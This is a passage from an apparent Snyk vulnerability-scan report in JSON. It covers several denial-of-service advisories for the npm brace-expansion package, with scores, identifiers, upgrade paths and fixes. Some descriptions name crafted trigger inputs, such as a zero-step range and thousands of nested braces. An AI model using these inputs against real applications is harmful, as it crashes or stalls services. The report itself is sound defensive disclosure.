avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
